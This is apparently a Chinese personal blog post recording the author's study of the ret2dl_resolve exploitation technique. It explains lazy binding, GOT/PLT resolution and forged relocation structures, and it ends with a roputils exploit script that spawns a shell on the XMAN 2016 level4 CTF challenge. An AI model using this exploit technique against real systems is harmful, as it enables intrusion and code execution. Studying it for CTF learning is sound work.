对于ret2dl_resolve的探究

关于ret2dl_resolve的研究,其实我个人看的不是很懂,这里算是简单记录一下而已。

等什么时候真正看懂了,再补上吧。

网络上前辈的教程:

http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://github.com/inaz2/roputils/blob/master/roputils.py

具体的,前辈们已经介绍的很详细了,在这里,我只是赘述自己学到的,整理一下自己能简单理解的东西

ret2dl_resolve的核心原理

ret2dl-resolve的核心原理是攻击符号重定位流程,使其解析库中存在的任意函数地址,从而实现got表的劫持。

前言

为什么要设置延迟绑定

​ 要想回答这个问题,首先我们得从动态链接说起。为了减少存储器浪费,现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去,而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限,选用函数库的组合无限,显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。

​ 比如说对于libc.so来说,我们要求把它加载到地址0x1000处,A程序只引用了libc.so,从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说,0x1000这个地址可能就被liba.so等库占据了。因此,程序在运行时碰到了外部符号,就需要去找到它们真正的内存地址,这个过程被称为重定位。

​ 为了安全,现代操作系统的设计要求代码所在的内存必须是不可修改的,那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址,又没办法在运行时修改成read函数所在地址,怎么保证CPU在运行到这行指令时能正确跳到read函数呢?这就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)进行辅助了。

​ 在延迟加载的情况下,每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时,EIP直接跳转到plt表的一个jmp,这个jmp直接指向对应的got表地址,从这个地址取值。此时这个jmp会跳到保存好的,plt表中对应项的地址,在这里把每个函数重定位过程中唯一的不同点,即一个数字入栈(本例子中write是18h,read是0,对于单个程序来说,这个数字是不变的),然后push got[1]并跳转到got[2]保存的地址。在这个地址中对函数进行了重定位,并且修改got表为真正的函数地址。当第二次调用同一个函数的时候,call仍然使EIP跳转到plt表的同一个jmp,不同的是这回从got表取值取到的是真正的地址,从而避免重复进行重定位。

进行跟进分析后,发现,主要影响重定位的,是

1
2
3
4
5
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *__unbounded l, ElfW(Word) reloc_arg)

中的reloc_arg, 我们主要控制reloc_arg进行攻击。

x86

1
2
3
4
5
6
7
8
gdb-peda$ x/3i read 0x80482f0 <read@plt>:        jmp    DWORD PTR ds:0x804970c
0x80482f6 <read@plt+6>: push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0
gdb-peda$ x/wx 0x804970c
0x804970c <read@got.plt>: 0x080482f6
gdb-peda$ x/2i 0x80482e0
0x80482e0: push DWORD PTR ds:0x8049704
0x80482e6: jmp DWORD PTR ds:0x8049708

在第一次调用时,jmp read@got.plt会跳回read@plt,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8,这相当于调用以下函数:

1
_dl_runtime_resolve(link_map, rel_offset);

​ 这就是重定位符号表,因为第一次调用函数的时候,并不是直接跳转到libc空间中的函数,而是在这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会通过两次push,最后跳到libc的_dl_runtime_resolve去执行。_dl_runtime_resolve的目的,是根据push 的两个参数导出函数的地址,然后放到相应的GOT表,并且调用它。

那么,我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体,并手动传递reloc_arg使其指向我们伪造的结构体,让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。

x64

​ 方法变成了覆盖 (link_map + 0x1c8) 处为 NULL, 也就是if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)这一句.
​ 但是link_map是在ld.so上的,因此我们需要leak,若程序没有输出函数,则无法使用这个方法.

使用ROPutils简化攻击步骤

使用通常的构造payload过程繁琐,虽然格式化,但是还是不利于我们编写。故此,我们使用roputils.py这个模块进行ret2_dl_resolve攻击

以 XMAN 2016-level3/level4 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
#为了防止命名冲突,这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn,以使得roputils中的ROP覆盖掉pwntools中的ROP

rop = ROP('./level4') #ROP继承了ELF类,下面的section, got, plt都是调用父类的方法
bss_addr = rop.section('.bss')
read_got = rop.got('read')
read_plt = rop.plt('read')

offset = 140

io = Proc(host = '172.17.0.2', port = 10001) #roputils中这里需要显式指定参数名

buf = rop.fill(offset) #fill用于生成填充数据
buf += rop.call(read_plt, 0, bss_addr, 0x100) #call可以通过某个函数的plt地址方便地进行调用
buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr) #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址,*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处,link_map放置在bss_addr+0x20处

io.write(buf)

然后我们直接用dl_resolve_data生成伪造的link_map并发送
buf = rop.string('/bin/sh')
buf += rop.fill(0x20, buf) #如果fill的第二个参数被指定,相当于将第二个参数命名的字符串填充至指定长度
buf += rop.dl_resolve_data(bss_addr+0x20, 'system') #dl_resolve_data的参数也非常简单,第一个参数是伪造的link_map首地址,第二个参数是要伪造的函数名
buf += rop.fill(0x100, buf)

io.write(buf)

本文标题:对于ret2dl_resolve的探究

文章作者:zhz

发布时间:2019年10月28日 - 23:10

最后更新:2019年10月29日 - 17:10

原始链接:http://yoursite.com/2019/10/28/对于ret2-resolve的探究/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。